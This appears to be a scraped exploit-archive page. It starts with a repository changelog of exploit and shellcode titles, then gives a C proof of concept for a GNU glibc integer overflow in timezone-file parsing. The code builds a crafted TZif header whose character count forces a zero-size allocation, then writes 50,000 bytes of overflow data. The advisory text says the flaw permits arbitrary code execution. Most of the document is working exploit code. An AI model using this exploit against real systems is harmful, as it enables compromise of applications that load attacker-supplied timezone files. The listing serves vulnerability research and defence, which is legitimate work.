880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
78 lines
No EOL
2.6 KiB
C
78 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/50898/info
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GNU glibc is prone to an remote integer-overflow vulnerability.
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An attacker can exploit this issue to execute arbitrary code with the privileges of the user running an application that uses the affected library.
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#include <stdio.h>
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#include <stdint.h>
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#include <time.h>
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#include <string.h>
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#define TZ_MAGIC "TZif"
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#define PUT_32BIT_MSB(cp, value) \
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do { \
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(cp)[0] = (value) >> 24; \
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(cp)[1] = (value) >> 16; \
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(cp)[2] = (value) >> 8; \
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(cp)[3] = (value); \
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} while (0)
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struct tzhead {
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char tzh_magic[4];
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char tzh_version[1];
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char tzh_reserved[15];
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char tzh_ttisgmtcnt[4];
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char tzh_ttisstdcnt[4];
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char tzh_leapcnt[4];
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char tzh_timecnt[4];
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char tzh_typecnt[4];
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char tzh_charcnt[4];
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};
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struct ttinfo
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{
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long int offset;
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unsigned char isdst;
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unsigned char idx;
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unsigned char isstd;
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unsigned char isgmt;
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};
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int main(void)
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{
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struct tzhead evil;
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int i;
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char *p;
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42
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uint32_t total_size;
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uint32_t evil1, evil2;
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/* Initialize static part of the header */
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memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1);
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evil.tzh_version[0] = 0;
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memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));
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memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));
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memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));
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memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));
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memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt));
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/* Initialize nasty part of the header */
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evil1 = 500;
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PUT_32BIT_MSB(evil.tzh_timecnt, evil1);
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total_size = evil1 * (sizeof(time_t) + 1);
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total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
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& ~(__alignof__ (struct ttinfo) - 1));
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/* value of chars, to get a malloc(0) */
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evil2 = 0 - total_size;
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PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
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p = (char *)&evil;
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for (i = 0; i < sizeof(evil); i++)
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printf("%c", p[i]);
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/* data we overflow with */
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for (i = 0; i < 50000; i++)
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printf("A");
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} |